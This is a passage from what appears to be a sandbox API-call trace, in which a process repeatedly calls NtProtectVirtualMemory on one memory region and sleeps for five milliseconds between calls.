BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.276] Sleep (dwMilliseconds=0x5) [0340.326] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.327] Sleep (dwMilliseconds=0x5) [0340.378] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.392] Sleep (dwMilliseconds=0x5) [0340.481] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.482] Sleep (dwMilliseconds=0x5) [0340.543] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.543] Sleep (dwMilliseconds=0x5) [0340.590] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.591] Sleep (dwMilliseconds=0x5) [0340.636] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.636] Sleep (dwMilliseconds=0x5) [0340.684] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.685] Sleep (dwMilliseconds=0x5) [0340.732] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.733] Sleep (dwMilliseconds=0x5) [0340.779] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.779] Sleep (dwMilliseconds=0x5) [0340.822] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.822] Sleep (dwMilliseconds=0x5) [0340.916] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.917] Sleep (dwMilliseconds=0x5) [0340.978] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.979] Sleep (dwMilliseconds=0x5) [0341.028] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.029] Sleep (dwMilliseconds=0x5) [0341.073] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.074] Sleep (dwMilliseconds=0x5) [0341.124] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.125] Sleep (dwMilliseconds=0x5) [0341.166] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.167] Sleep (dwMilliseconds=0x5) [0341.215] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.216] Sleep (dwMilliseconds=0x5) [0341.275] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.276] Sleep (dwMilliseconds=0x5) [0341.323] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.324] Sleep (dwMilliseconds=0x5) [0341.374] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.375] Sleep (dwMilliseconds=0x5) [0341.471] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.472] Sleep (dwMilliseconds=0x5) [0341.521] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.521] Sleep (dwMilliseconds=0x5) [0341.568] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.569] Sleep (dwMilliseconds=0x5) [0341.627] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.628] Sleep (dwMilliseconds=0x5) [0341.729] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.730] Sleep (dwMilliseconds=0x5) [0341.777] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.778] Sleep (dwMilliseconds=0x5) [0341.821] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.822] Sleep (dwMilliseconds=0x5) [0341.869] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.870] Sleep (dwMilliseconds=0x5) [0341.918] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.918] Sleep (dwMilliseconds=0x5) [0341.962] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.962] Sleep (dwMilliseconds=0x5) [0342.011] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.012] Sleep (dwMilliseconds=0x5) [0342.107] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.108] Sleep (dwMilliseconds=0x5) [0342.150] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.150] Sleep (dwMilliseconds=0x5) [0342.197] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.198] Sleep (dwMilliseconds=0x5) [0342.247] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.247] Sleep (dwMilliseconds=0x5) [0342.290] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.291] Sleep (dwMilliseconds=0x5) [0342.340] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.341] Sleep (dwMilliseconds=0x5) [0342.385] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.385] Sleep (dwMilliseconds=0x5) [0342.471] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.525] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.526] Sleep (dwMilliseconds=0x5) [0342.589] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.590] Sleep (dwMilliseconds=0x5) [0342.633] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.634] Sleep (dwMilliseconds=0x5) [0342.686] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.686] Sleep (dwMilliseconds=0x5) [0342.734] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.735] Sleep (dwMilliseconds=0x5) [0342.770] Sleep (dwMilliseconds=0x5) [0342.808] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.808] Sleep (dwMilliseconds=0x5) [0342.862] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.863] Sleep (dwMilliseconds=0x5) [0342.911] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.963] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.965] Sleep (dwMilliseconds=0x5) [0343.033] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.034] Sleep (dwMilliseconds=0x5) [0343.078] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.079] Sleep (dwMilliseconds=0x5) [0343.124] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.124] Sleep (dwMilliseconds=0x5) [0343.170] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.171] Sleep (dwMilliseconds=0x5) [0343.221] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.221] Sleep (dwMilliseconds=0x5) [0343.309] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.310] Sleep (dwMilliseconds=0x5) [0343.349] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.350] Sleep (dwMilliseconds=0x5) [0343.405] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.406] Sleep (dwMilliseconds=0x5) [0343.474] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.475] Sleep (dwMilliseconds=0x5) [0343.519] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.519] Sleep (dwMilliseconds=0x5) [0343.565] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.565] Sleep (dwMilliseconds=0x5) [0343.615] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.616] Sleep (dwMilliseconds=0x5) [0343.667] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.667] Sleep (dwMilliseconds=0x5) [0343.705] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.706] Sleep (dwMilliseconds=0x5) [0343.752] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.753] Sleep (dwMilliseconds=0x5) [0343.799] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.799] Sleep (dwMilliseconds=0x5) [0343.844] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.845] Sleep (dwMilliseconds=0x5) [0343.892] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.893] Sleep (dwMilliseconds=0x5) [0343.940] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.941] Sleep (dwMilliseconds=0x5) [0343.987] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.988] Sleep (dwMilliseconds=0x5) [0344.036] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.037] Sleep (dwMilliseconds=0x5) [0344.083] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.084] Sleep (dwMilliseconds=0x5) [0344.126] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.127] Sleep (dwMilliseconds=0x5) [0344.175] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.175] Sleep (dwMilliseconds=0x5) [0344.224] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.224] Sleep (dwMilliseconds=0x5) [0344.268] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.268] Sleep (dwMilliseconds=0x5) [0344.315] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, 